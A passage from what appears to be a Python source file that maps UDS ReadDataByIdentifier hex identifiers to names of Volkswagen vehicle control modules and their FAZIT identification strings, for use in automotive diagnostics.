"Selector_lever_System_Name" +UDS_RDBI.dataIdentifiers[0x6c2e] = "NOx_sensor_1_System_Name" +UDS_RDBI.dataIdentifiers[0x6c2f] = "NOx_sensor_2_System_Name" +UDS_RDBI.dataIdentifiers[0x6c30] = "Ioniser_System_Name" +UDS_RDBI.dataIdentifiers[0x6c31] = "Multi_function_steering_wheel_control_module_System_Name" +UDS_RDBI.dataIdentifiers[0x6c32] = "Left_rear_door_control_module_System_Name" +UDS_RDBI.dataIdentifiers[0x6c33] = "Right_rear_door_control_module_System_Name" +UDS_RDBI.dataIdentifiers[0x6c34] = "Left_rear_massage_seat_control_module_System_Name" +UDS_RDBI.dataIdentifiers[0x6c35] = "Right_rear_massage_seat_control_module_System_Name" +UDS_RDBI.dataIdentifiers[0x6c36] = "Display_unit_1_for_multimedia_system_System_Name" +UDS_RDBI.dataIdentifiers[0x6c37] = "Battery_monitoring_control_module_System_Name" +UDS_RDBI.dataIdentifiers[0x6c38] = "Roof_blind_System_Name" +UDS_RDBI.dataIdentifiers[0x6c39] = "Sun_roof_2_System_Name" +UDS_RDBI.dataIdentifiers[0x6c3a] = "Steering_angle_sender_System_Name" +UDS_RDBI.dataIdentifiers[0x6c3b] = "Lane_change_assistant 2_System_Name" +UDS_RDBI.dataIdentifiers[0x6c3c] = "Pitch_rate_sender_System_Name" +UDS_RDBI.dataIdentifiers[0x6c3d] = "ESP_sensor_unit_System_Name" +UDS_RDBI.dataIdentifiers[0x6c3e] = "Electronic_ignition_lock_System_Name" +UDS_RDBI.dataIdentifiers[0x6c3f] = "Air_quality_sensor_System_Name" +UDS_RDBI.dataIdentifiers[0x6c40] = "Display_unit_2_for_multimedia_system_System_Name" +UDS_RDBI.dataIdentifiers[0x6c41] = "Telephone_handset_2_System_Name" +UDS_RDBI.dataIdentifiers[0x6c42] = "Chip_card_reader_control_module_System_Name" +UDS_RDBI.dataIdentifiers[0x6c43] = "Traffic_data_aerial_System_Name" +UDS_RDBI.dataIdentifiers[0x6c44] = "Hands_free_system_System_Name" +UDS_RDBI.dataIdentifiers[0x6c45] = "Telephone_handset_System_Name" +UDS_RDBI.dataIdentifiers[0x6c46] = "Display_unit_front_for_multimedia_system_System_Name" +UDS_RDBI.dataIdentifiers[0x6c47] = "Multimedia_operating_unit_System_Name" +UDS_RDBI.dataIdentifiers[0x6c48] = "Digital_sound_system_control_module_2_System_Name" +UDS_RDBI.dataIdentifiers[0x6c49] = "Electrically_adjustable_steering_column_System_Name" +UDS_RDBI.dataIdentifiers[0x6c4a] = "Interface_for_external_multimedia_unit_System_Name" +UDS_RDBI.dataIdentifiers[0x6c4b] = "Relative_Air_Humidity_Interior_Sender_System_Name" +UDS_RDBI.dataIdentifiers[0x6c4c] = "Drivers_door_rear_control_module_System_Name" +UDS_RDBI.dataIdentifiers[0x6c4d] = "Passengers_rear_door_control_module_System_Name" +UDS_RDBI.dataIdentifiers[0x6c4e] = "Sensor_controlled_power_rear_lid_System_Name" +UDS_RDBI.dataIdentifiers[0x6c4f] = "Camera_for_night_vision_system_System_Name" +UDS_RDBI.dataIdentifiers[0x6c50] = "Relative_humidity_sensor_in_fresh_air_intake_duct_System_Name" +UDS_RDBI.dataIdentifiers[0x6c51] = "Rear_spoiler_adjustment_System_Name" +UDS_RDBI.dataIdentifiers[0x6c52] = "Roof_blind_2_System_Name" +UDS_RDBI.dataIdentifiers[0x6c53] = "Motor_for_wind_deflector_System_Name" +UDS_RDBI.dataIdentifiers[0x6c54] = "Voltage_stabilizer_System_Name" +UDS_RDBI.dataIdentifiers[0x6c55] = "Switch_module_for_driver_seat_System_Name" +UDS_RDBI.dataIdentifiers[0x6c56] = "Switch_module_for_front_passenger_seat_System_Name" +UDS_RDBI.dataIdentifiers[0x6c57] = "Switch_module_for_rear_seat_driver_side_System_Name" +UDS_RDBI.dataIdentifiers[0x6c58] = "Switch_module_for_rear_seat_front_passenger_side_System_Name" +UDS_RDBI.dataIdentifiers[0x6c59] = "Switch_module_2_for_driver_seat_System_Name" +UDS_RDBI.dataIdentifiers[0x6c5a] = "Battery_charger_unit_1_System_Name" +UDS_RDBI.dataIdentifiers[0x6c5b] = "Battery_charger_unit_2_System_Name" +UDS_RDBI.dataIdentifiers[0x6c5c] = "Battery_charger_unit_3_System_Name" +UDS_RDBI.dataIdentifiers[0x6c5d] = "Air_conditioning_compressor_System_Name" +UDS_RDBI.dataIdentifiers[0x6c5e] = "Neck_heating_left_System_Name" +UDS_RDBI.dataIdentifiers[0x6c5f] = "Neck_heating_right_System_Name" +UDS_RDBI.dataIdentifiers[0x6c60] = "Switch_module_2_for_front_passenger_seat_System_Name" +UDS_RDBI.dataIdentifiers[0x6c61] = "Switch_module_2_for_rear_seat_front_passenger_side_System_Name" +UDS_RDBI.dataIdentifiers[0x6c62] = "Compact_disc_database_System_Name" +UDS_RDBI.dataIdentifiers[0x6c63] = "Rear_climatronic_operating_and_display_unit_left_System_Name" +UDS_RDBI.dataIdentifiers[0x6c64] = "Rear_climatronic_operating_and_display_unit_right_System_Name" +UDS_RDBI.dataIdentifiers[0x6c65] = "Door_handle_front_left_Kessy_System_Name" +UDS_RDBI.dataIdentifiers[0x6c66] = "Door_handle_front_right_Kessy_System_Name" +UDS_RDBI.dataIdentifiers[0x6c67] = "Door_handle_rear_left_Kessy_System_Name" +UDS_RDBI.dataIdentifiers[0x6c68] = "Door_handle_rear_right_Kessy_System_Name" +UDS_RDBI.dataIdentifiers[0x6c69] = "Power_converter_DC_AC_System_Name" +UDS_RDBI.dataIdentifiers[0x6c6a] = "Battery_monitoring_control_module_2_System_Name" +UDS_RDBI.dataIdentifiers[0x6c6b] = "Matrix_headlamp_powermodule_1_left_System_Name" +UDS_RDBI.dataIdentifiers[0x6c6c] = "Matrix_headlamp_powermodule_1_right_System_Name" +UDS_RDBI.dataIdentifiers[0x6c6d] = "High_beam_powermodule_left_System_Name" +UDS_RDBI.dataIdentifiers[0x6c6e] = "High_beam_powermodule_right_System_Name" +UDS_RDBI.dataIdentifiers[0x6c6f] = "Air_suspension_compressor_System_Name" +UDS_RDBI.dataIdentifiers[0x6c70] = "Rear_brake_actuator_1_System_Name" +UDS_RDBI.dataIdentifiers[0x6c71] = "Rear_brake_actuator_2_System_Name" +UDS_RDBI.dataIdentifiers[0x6c72] = "Analog_clock_System_Name" +UDS_RDBI.dataIdentifiers[0x6c73] = "Rear_door_control_module_System_Name" +UDS_RDBI.dataIdentifiers[0x6c79] = "Data_medium_2_System_Name" +UDS_RDBI.dataIdentifiers[0x6c7a] = "Operating_unit_center_console_1_System_Name" +UDS_RDBI.dataIdentifiers[0x6c7b] = "Operating_unit_center_console_2_System_Name" +UDS_RDBI.dataIdentifiers[0x6c7c] = "Operating_unit_center_console_3_System_Name" +UDS_RDBI.dataIdentifiers[0x6c7d] = "Operating_unit_center_console_4_System_Name" +UDS_RDBI.dataIdentifiers[0x6c7e] = "Interface_for_radiodisplay_System_Name" +UDS_RDBI.dataIdentifiers[0x6c7f] = "Parkassist_entry_System_Name" +UDS_RDBI.dataIdentifiers[0x6c86] = "Belt_pretensioner_3rd_row_left_System_Name" +UDS_RDBI.dataIdentifiers[0x6c87] = "Belt_pretensioner_3rd_row_right_System_Name" +UDS_RDBI.dataIdentifiers[0x6c88] = "Injection_valve_heater_control_unit_System_Name" +UDS_RDBI.dataIdentifiers[0x6c89] = "Steering_column_switch_System_Name" +UDS_RDBI.dataIdentifiers[0x6c8a] = "Brake_assistance_System_Name" +UDS_RDBI.dataIdentifiers[0x6c8b] = "Trailer_articulation_angle_sensor_System_Name" +UDS_RDBI.dataIdentifiers[0x6c8c] = "Cup_holder_with_heater_and_cooling_element_System_Name" +UDS_RDBI.dataIdentifiers[0x6c8d] = "Range_of_vision_sensing_System_Name" +UDS_RDBI.dataIdentifiers[0x6c8e] = "Convenience_and_driver_assist_operating_unit_System_Name" +UDS_RDBI.dataIdentifiers[0x6c8f] = "Cradle_rear_climatronic_operating_and_display_unit_System_Name" +UDS_RDBI.dataIdentifiers[0x6c90] = "Trailer_weight_nose_weight_detection_System_Name" +UDS_RDBI.dataIdentifiers[0x6c91] = "Sensor_carbon_dioxide_concentration_System_Name" +UDS_RDBI.dataIdentifiers[0x6c92] = "Sensor_fine_dust_concentration_System_Name" +UDS_RDBI.dataIdentifiers[0x6c93] = "Volume_control_1_System_Name" +UDS_RDBI.dataIdentifiers[0x6c94] = "Belt_buckle_presenter_2nd_row_left_System_Name" +UDS_RDBI.dataIdentifiers[0x6c95] = "Belt_buckle_presenter_2nd_row_right_System_Name" +UDS_RDBI.dataIdentifiers[0x6c96] = "Operating_and_display_unit_6_for_air_conditioning_System_Name" +UDS_RDBI.dataIdentifiers[0x6c97] = "Active_accelerator_pedal_System_Name" +UDS_RDBI.dataIdentifiers[0x6c98] = "Multimedia_operating_unit_2_System_Name" +UDS_RDBI.dataIdentifiers[0x6c99] = "Display_unit_3_for_multimedia_system_System_Name" +UDS_RDBI.dataIdentifiers[0x6c9a] = "Display_unit_4_for_multimedia_system_System_Name" +UDS_RDBI.dataIdentifiers[0x6c9b] = "Display_unit_5_for_multimedia_system_System_Name" +UDS_RDBI.dataIdentifiers[0x6c9c] = "Control_module_for_auxiliary_blower_motors_System_Name" +UDS_RDBI.dataIdentifiers[0x6c9d] = "Operating_and_display_unit_3_System_Name" +UDS_RDBI.dataIdentifiers[0x6c9e] = "Operating_and_display_unit_4_System_Name" +UDS_RDBI.dataIdentifiers[0x6c9f] = "Operating_and_display_unit_5_System_Name" +UDS_RDBI.dataIdentifiers[0x6ca0] = "Side Sensor Driver Front_System_Name" +UDS_RDBI.dataIdentifiers[0x6ca1] = "Side Sensor Passenger Front_System_Name" +UDS_RDBI.dataIdentifiers[0x6ca2] = "Side Sensor Driver Rear_System_Name" +UDS_RDBI.dataIdentifiers[0x6ca3] = "Side Sensor Passenger Rear_System_Name" +UDS_RDBI.dataIdentifiers[0x6ca4] = "Front Sensor Driver_System_Name" +UDS_RDBI.dataIdentifiers[0x6ca5] = "Front Sensor Passenger_System_Name" +UDS_RDBI.dataIdentifiers[0x6ca6] = "Pedestrian Protection Driver_System_Name" +UDS_RDBI.dataIdentifiers[0x6ca7] = "Pedestrian Protection Passenger_System_Name" +UDS_RDBI.dataIdentifiers[0x6ca8] = "Rear Sensor Center_System_Name" +UDS_RDBI.dataIdentifiers[0x6ca9] = "Pedestrian Protection Center_System_Name" +UDS_RDBI.dataIdentifiers[0x6caa] = "Pedestrian Protection Contact_System_Name" +UDS_RDBI.dataIdentifiers[0x6cab] = "Pedestrian_protection_driver_2_System_Name" +UDS_RDBI.dataIdentifiers[0x6cac] = "Pedestrian_protection_passenger_2_System_Name" +UDS_RDBI.dataIdentifiers[0x6cad] = "Central_sensor_XY_System_Name" +UDS_RDBI.dataIdentifiers[0x6cae] = "Refrigerant_pressure_and_temperature_sender_2_System_Name" +UDS_RDBI.dataIdentifiers[0x6caf] = "Refrigerant_pressure_and_temperature_sender_3_System_Name" +UDS_RDBI.dataIdentifiers[0x6cb0] = "Switch_for_rear_multicontour_seat_driver_side_System_Name" +UDS_RDBI.dataIdentifiers[0x6cb1] = "Valve_block_1_in_driver_side_rear_seat_System_Name" +UDS_RDBI.dataIdentifiers[0x6cb2] = "Valve_block_2_in_driver_side_rear_seat_System_Name" +UDS_RDBI.dataIdentifiers[0x6cb3] = "Valve_block_3_in_driver_side_rear_seat_System_Name" +UDS_RDBI.dataIdentifiers[0x6cb4] = "Switch_for_rear_multicontour_seat_passenger_side_System_Name" +UDS_RDBI.dataIdentifiers[0x6cb5] = "Valve_block_1_in_passenger_side_rear_seat_System_Name" +UDS_RDBI.dataIdentifiers[0x6cb6] = "Valve_block_2_in_passenger_side_rear_seat_System_Name" +UDS_RDBI.dataIdentifiers[0x6cb7] = "Valve_block_3_in_passenger_side_rear_seat_System_Name" +UDS_RDBI.dataIdentifiers[0x6cb8] = "Switch_for_front_multicontour_seat_driver_side_System_Name" +UDS_RDBI.dataIdentifiers[0x6cb9] = "Valve_block_1_in_driver_side_front_seat_System_Name" +UDS_RDBI.dataIdentifiers[0x6cba] = "Valve_block_2_in_driver_side_front_seat_System_Name" +UDS_RDBI.dataIdentifiers[0x6cbb] = "Valve_block_3_in_driver_side_front_seat_System_Name" +UDS_RDBI.dataIdentifiers[0x6cbc] = "Switch_for_front_multicontour_seat_passenger_side_System_Name" +UDS_RDBI.dataIdentifiers[0x6cbd] = "Valve_block_1_in_passenger_side_front_seat_System_Name" +UDS_RDBI.dataIdentifiers[0x6cbe] = "Valve_block_2_in_passenger_side_front_seat_System_Name" +UDS_RDBI.dataIdentifiers[0x6cbf] = "Valve_block_3_in_passenger_side_front_seat_System_Name" +UDS_RDBI.dataIdentifiers[0x6cc0] = "Coolant_heater_System_Name" +UDS_RDBI.dataIdentifiers[0x6cc1] = "Seat_backrest_fan_1_front_left_System_Name" +UDS_RDBI.dataIdentifiers[0x6cc2] = "Seat_backrest_fan_2_front_left_System_Name" +UDS_RDBI.dataIdentifiers[0x6cc3] = "Seat_cushion_fan_1_front_left_System_Name" +UDS_RDBI.dataIdentifiers[0x6cc4] = "Seat_cushion_fan_2_front_left_System_Name" +UDS_RDBI.dataIdentifiers[0x6cc5] = "Seat_backrest_fan_1_front_right_System_Name" +UDS_RDBI.dataIdentifiers[0x6cc6] = "Seat_backrest_fan_2_front_right_System_Name" +UDS_RDBI.dataIdentifiers[0x6cc7] = "Seat_cushion_fan_1_front_right_System_Name" +UDS_RDBI.dataIdentifiers[0x6cc8] = "Seat_cushion_fan_2_front_right_System_Name" +UDS_RDBI.dataIdentifiers[0x6cc9] = "Operating_and_display_unit_1_for_air_conditioning_System_Name" +UDS_RDBI.dataIdentifiers[0x6cca] = "Operating_and_display_unit_2_for_air_conditioning_System_Name" +UDS_RDBI.dataIdentifiers[0x6ccb] = "Operating_and_display_unit_3_for_air_conditioning_System_Name" +UDS_RDBI.dataIdentifiers[0x6ccc] = "Operating_and_display_unit_4_for_air_conditioning_System_Name" +UDS_RDBI.dataIdentifiers[0x6ccd] = "Operating_and_display_unit_5_for_air_conditioning_System_Name" +UDS_RDBI.dataIdentifiers[0x6cce] = "Pedestrian_protection_left_hand_side_System_Name" +UDS_RDBI.dataIdentifiers[0x6ccf] = "Pedestrian_protection_right_hand_side_System_Name" +UDS_RDBI.dataIdentifiers[0x6cd0] = "Battery_junction_box_System_Name" +UDS_RDBI.dataIdentifiers[0x6cd1] = "Cell_module_controller_1_System_Name" +UDS_RDBI.dataIdentifiers[0x6cd2] = "Cell_module_controller_2_System_Name" +UDS_RDBI.dataIdentifiers[0x6cd3] = "Cell_module_controller_3_System_Name" +UDS_RDBI.dataIdentifiers[0x6cd4] = "Cell_module_controller_4_System_Name" +UDS_RDBI.dataIdentifiers[0x6cd5] = "Cell_module_controller_5_System_Name" +UDS_RDBI.dataIdentifiers[0x6cd6] = "Cell_module_controller_6_System_Name" +UDS_RDBI.dataIdentifiers[0x6cd7] = "Cell_module_controller_7_System_Name" +UDS_RDBI.dataIdentifiers[0x6cd8] = "Cell_module_controller_8_System_Name" +UDS_RDBI.dataIdentifiers[0x6cd9] = "Cell_module_controller_9_System_Name" +UDS_RDBI.dataIdentifiers[0x6cda] = "Cell_module_controller_10_System_Name" +UDS_RDBI.dataIdentifiers[0x6cdb] = "Cell_module_controller_11_System_Name" +UDS_RDBI.dataIdentifiers[0x6cdc] = "Cell_module_controller_12_System_Name" +UDS_RDBI.dataIdentifiers[0x6cdd] = "Seat_backrest_fan_1_rear_left_System_Name" +UDS_RDBI.dataIdentifiers[0x6cde] = "Seat_backrest_fan_2_rear_left_System_Name" +UDS_RDBI.dataIdentifiers[0x6cdf] = "Seat_cushion_fan_1_rear_left_System_Name" +UDS_RDBI.dataIdentifiers[0x6ce0] = "Seat_cushion_fan_2_rear_left_System_Name" +UDS_RDBI.dataIdentifiers[0x6ce1] = "Seat_backrest_fan_1_rear_right_System_Name" +UDS_RDBI.dataIdentifiers[0x6ce2] = "Seat_backrest_fan_2_rear_right_System_Name" +UDS_RDBI.dataIdentifiers[0x6ce3] = "Seat_cushion_fan_1_rear_right_System_Name" +UDS_RDBI.dataIdentifiers[0x6ce4] = "Seat_cushion_fan_2_rear_right_System_Name" +UDS_RDBI.dataIdentifiers[0x6ce5] = "Auxiliary_blower_motor_control_1_System_Name" +UDS_RDBI.dataIdentifiers[0x6ce6] = "Auxiliary_blower_motor_control_2_System_Name" +UDS_RDBI.dataIdentifiers[0x6ce7] = "Infrared_sender_for_front_observation_module_System_Name" +UDS_RDBI.dataIdentifiers[0x6ce8] = "Starter_generator_control_module_sub_System_Name" +UDS_RDBI.dataIdentifiers[0x6ce9] = "Media_player_1_sub_System_Name" +UDS_RDBI.dataIdentifiers[0x6cea] = "Media_player_2_sub_System_Name" +UDS_RDBI.dataIdentifiers[0x6ceb] = "Dedicated_short_range_communication_aerial_System_Name" +UDS_RDBI.dataIdentifiers[0x6cec] = "Refrigerant_pressure_and_temperature_sender_4_System_Name" +UDS_RDBI.dataIdentifiers[0x6ced] = "Refrigerant_pressure_and_temperature_sender_5_System_Name" +UDS_RDBI.dataIdentifiers[0x6cee] = "Refrigerant_pressure_and_temperature_sender_6_System_Name" +UDS_RDBI.dataIdentifiers[0x6cef] = "Air_coolant_actuator_1_System_Name" +UDS_RDBI.dataIdentifiers[0x6cf0] = "Air_coolant_actuator_2_System_Name" +UDS_RDBI.dataIdentifiers[0x6cf1] = "Cell_module_controller_13_System_Name" +UDS_RDBI.dataIdentifiers[0x6cf2] = "Cell_module_controller_14_System_Name" +UDS_RDBI.dataIdentifiers[0x6cf3] = "Cell_module_controller_15_System_Name" +UDS_RDBI.dataIdentifiers[0x6cf5] = "Seat_heating_rear_1_System_Name" +UDS_RDBI.dataIdentifiers[0x6cf6] = "LED_warning_indicator_System_Name" +UDS_RDBI.dataIdentifiers[0x6cf7] = "Automatic_transmission_fluid_pump_System_Name" +UDS_RDBI.dataIdentifiers[0x6cf8] = "Manual_transmission_fluid_pump_System_Name" +UDS_RDBI.dataIdentifiers[0x6cf9] = "Convenience_and_driver_assist_operating_unit_2_System_Name" +UDS_RDBI.dataIdentifiers[0x6cfb] = "Air_coolant_actuator_3_System_Name" +UDS_RDBI.dataIdentifiers[0x6cfc] = "Valve_block_4_in_driver_side_rear_seat_System_Name" +UDS_RDBI.dataIdentifiers[0x6cfd] = "Valve_block_4_in_passenger_side_rear_seat_System_Name" +UDS_RDBI.dataIdentifiers[0x6cfe] = "Valve_block_4_in_driver_side_front_seat_System_Name" +UDS_RDBI.dataIdentifiers[0x6cff] = "Valve_block_4_in_passenger_side_front_seat_System_Name" +UDS_RDBI.dataIdentifiers[0x6d01] = "Rear_climatronic_operating_and_display_unit_System_Name" +UDS_RDBI.dataIdentifiers[0x6d02] = "Refrigerant_expansion_valve_1_System_Name" +UDS_RDBI.dataIdentifiers[0x6d03] = "Refrigerant_expansion_valve_2_System_Name" +UDS_RDBI.dataIdentifiers[0x6d04] = "Refrigerant_expansion_valve_3_System_Name" +UDS_RDBI.dataIdentifiers[0x6d05] = "Refrigerant_shut_off_valve_1_System_Name" +UDS_RDBI.dataIdentifiers[0x6d06] = "Refrigerant_shut_off_valve_2_System_Name" +UDS_RDBI.dataIdentifiers[0x6d07] = "Refrigerant_shut_off_valve_3_System_Name" +UDS_RDBI.dataIdentifiers[0x6d08] = "Refrigerant_shut_off_valve_4_System_Name" +UDS_RDBI.dataIdentifiers[0x6d09] = "Refrigerant_shut_off_valve_5_System_Name" +UDS_RDBI.dataIdentifiers[0x6d0a] = "Sunlight_sensor_System_Name" +UDS_RDBI.dataIdentifiers[0x6d0b] = "Near_field_communication_control_module_2_System_Name" +UDS_RDBI.dataIdentifiers[0x6d0c] = "Clutch_control_unit_System_Name" +UDS_RDBI.dataIdentifiers[0x6d0d] = "Electrical_charger_System_Name" +UDS_RDBI.dataIdentifiers[0x6d0e] = "Rear_light_left_2_System_Name" +UDS_RDBI.dataIdentifiers[0x6d0f] = "Rear_light_right_1_System_Name" +UDS_RDBI.dataIdentifiers[0x6d10] = "Rear_light_right_2_System_Name" +UDS_RDBI.dataIdentifiers[0x6d11] = "Sunlight_sensor_2_System_Name" +UDS_RDBI.dataIdentifiers[0x6d12] = "Radiator_shutter_System_Name" +UDS_RDBI.dataIdentifiers[0x6d13] = "Radiator_shutter_2_System_Name" +UDS_RDBI.dataIdentifiers[0x6d14] = "Radiator_shutter_3_System_Name" +UDS_RDBI.dataIdentifiers[0x6d15] = "Radiator_shutter_4_System_Name" +UDS_RDBI.dataIdentifiers[0x6d18] = "Special_key_operating_unit_System_Name" +UDS_RDBI.dataIdentifiers[0x6d19] = "Radio_interface_System_Name" +UDS_RDBI.dataIdentifiers[0x6d1a] = "Video_self_protection_recorder_System_Name" +UDS_RDBI.dataIdentifiers[0x6d1b] = "Special_vehicle_assist_interface_System_Name" +UDS_RDBI.dataIdentifiers[0x6d1c] = "Electric_system_disconnection_diode_System_Name" +UDS_RDBI.dataIdentifiers[0x6d1d] = "Cradle_rear_climatronic_operating_and_display_unit_2_System_Name" +UDS_RDBI.dataIdentifiers[0x6d1e] = "Belt_pretensioner_2nd_row_left_System_Name" +UDS_RDBI.dataIdentifiers[0x6d1f] = "Belt_pretensioner_2nd_row_right_System_Name" +UDS_RDBI.dataIdentifiers[0x6d20] = "Electrical_variable_camshaft_phasing_1_System_Name" +UDS_RDBI.dataIdentifiers[0x6d21] = "Electrical_variable_camshaft_phasing_2_System_Name" +UDS_RDBI.dataIdentifiers[0x6d22] = "Wireless_operating_unit_1_System_Name" +UDS_RDBI.dataIdentifiers[0x6d23] = "Wireless_operating_unit_2_System_Name" +UDS_RDBI.dataIdentifiers[0x6d24] = "Front_windshield_washer_pump_System_Name" +UDS_RDBI.dataIdentifiers[0x6d25] = "Air_quality_sensor_2_System_Name" +UDS_RDBI.dataIdentifiers[0x6d26] = "Fragrancing_system_System_Name" +UDS_RDBI.dataIdentifiers[0x6d27] = "Coolant_valve_System_Name" +UDS_RDBI.dataIdentifiers[0x6d28] = "Near_field_communication_control_module_3_System_Name" +UDS_RDBI.dataIdentifiers[0x6d29] = "Interior_monitoring_rear_System_Name" +UDS_RDBI.dataIdentifiers[0x6d2a] = "Cooler_fan_1_System_Name" +UDS_RDBI.dataIdentifiers[0x6d2b] = "Control_unit_heating_1_System_Name" +UDS_RDBI.dataIdentifiers[0x6d2c] = "Control_unit_heating_2_System_Name" +UDS_RDBI.dataIdentifiers[0x6d2d] = "Control_unit_heating_3_System_Name" +UDS_RDBI.dataIdentifiers[0x6d2e] = "Control_unit_heating_4_System_Name" +UDS_RDBI.dataIdentifiers[0x6d2f] = "Operating_unit_drive_mode_selection_System_Name" +UDS_RDBI.dataIdentifiers[0x6d30] = "Side_sensor_a-pillar_driver_front_System_Name" +UDS_RDBI.dataIdentifiers[0x6d31] = "Side_sensor_a-pillar_passenger_front_System_Name" +UDS_RDBI.dataIdentifiers[0x6d32] = "Sensor_high_voltage_system_1_System_Name" +UDS_RDBI.dataIdentifiers[0x6d33] = "Side_sensor_b-pillar_driver_front_System_Name" +UDS_RDBI.dataIdentifiers[0x6d34] = "Side_sensor_b-pillar_passenger_front_System_Name" +UDS_RDBI.dataIdentifiers[0x6d35] = "Multi_function_steering_wheel_control_module_2_System_Name" +UDS_RDBI.dataIdentifiers[0x6d36] = "Gear_selection_display_System_Name" +UDS_RDBI.dataIdentifiers[0x6d37] = "Cooler_fan_2_System_Name" +UDS_RDBI.dataIdentifiers[0x6d38] = "Gear_selector_control_module_System_Name" +UDS_RDBI.dataIdentifiers[0x6d39] = "Interior_light_module_2_System_Name" +UDS_RDBI.dataIdentifiers[0x6d3a] = "Radio_control_center_System_Name" +UDS_RDBI.dataIdentifiers[0x6d3b] = "Multimedia_extension_System_Name" +UDS_RDBI.dataIdentifiers[0x6d3c] = "Control_unit_differential_lock_System_Name" +UDS_RDBI.dataIdentifiers[0x6d3d] = "Control_unit_ride_control_system_System_Name" +UDS_RDBI.dataIdentifiers[0x6d3e] = "Control_unit_hands_on_detection_steering_wheel_System_Name" +UDS_RDBI.dataIdentifiers[0x6d3f] = "Front_climatronic_operating_and_display_unit_System_Name" +UDS_RDBI.dataIdentifiers[0x6d40] = "Auxiliary_display_unit_System_Name" +UDS_RDBI.dataIdentifiers[0x6d41] = "Card_reader_tv_tuner_System_Name" +UDS_RDBI.dataIdentifiers[0x6d42] = "Park_lock_actuator_System_Name" +UDS_RDBI.dataIdentifiers[0x6d43] = "Media_connector_System_Name" +UDS_RDBI.dataIdentifiers[0x6d44] = "Catalyst_heating_System_Name" +UDS_RDBI.dataIdentifiers[0x6e01] = "Control_unit_for_wiper_motor_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e02] = "Rain_light_recognition_sensor_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e03] = "Light_switch_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e04] = "Garage_door_opener_control_module_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e05] = "Garage_door_opener_operating_unit_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e06] = "Ignition_key_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e07] = "Left_front_seat_ventilation_control_module_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e08] = "Right_front_seat_ventilation_control_module_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e09] = "Left_rear_seat_ventilation_control_module_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e0a] = "LED_headlamp_powermodule_left_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e0b] = "LED_headlamp_powermodule_right_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e0c] = "LED_headlamp_powermodule_2_left_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e0d] = "LED_headlamp_powermodule_2_right_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e0e] = "Operating_and_display_unit_1_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e0f] = "Operating_and_display_unit_2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e10] = "Right_rear_seat_ventilation_control_module_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e11] = "Data_medium_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e12] = "Drivers_door_control_module_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e13] = "Front_passengers_door_control_module_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e14] = "Left_headlamp_power_output_stage_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e15] = "Right_headlamp_power_output_stage_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e16] = "Sensor_for_anti_theft_alarm_system_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e17] = "Rear_lid_control_module_2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e18] = "Alarm_horn_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e19] = "Automatic_day_night_interior_mirror_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e1a] = "Remote_control_auxiliary_heater_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e1b] = "Fresh_air_blower_front_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e1c] = "Fresh_air_blower_back_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e1d] = "Alternator_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e1e] = "Interior_light_module_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e1f] = "Refrigerant_pressure_and_temperature_sender_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e20] = "Sun_roof_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e21] = "Steering_column_lock_actuator_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e22] = "Anti_theft_tilt_system_control_unit_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e23] = "Tire_pressure_monitor_antenna_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e24] = "Heated_windshield_control_module_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e25] = "Rear_light_left_1_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e26] = "Ceiling_light_module_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e27] = "Left_front_massage_seat_control_module_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e28] = "Right_front_massage_seat_control_module_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e29] = "Control_module_for_auxiliary_air_heater_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e2a] = "Belt Pretensioner left_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e2b] = "Belt Pretensioner right_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e2c] = "Occupant Detection_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e2d] = "Selector_lever_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x6e2e] = "NOx_sensor_1_VW_Slave_FAZIT_string" 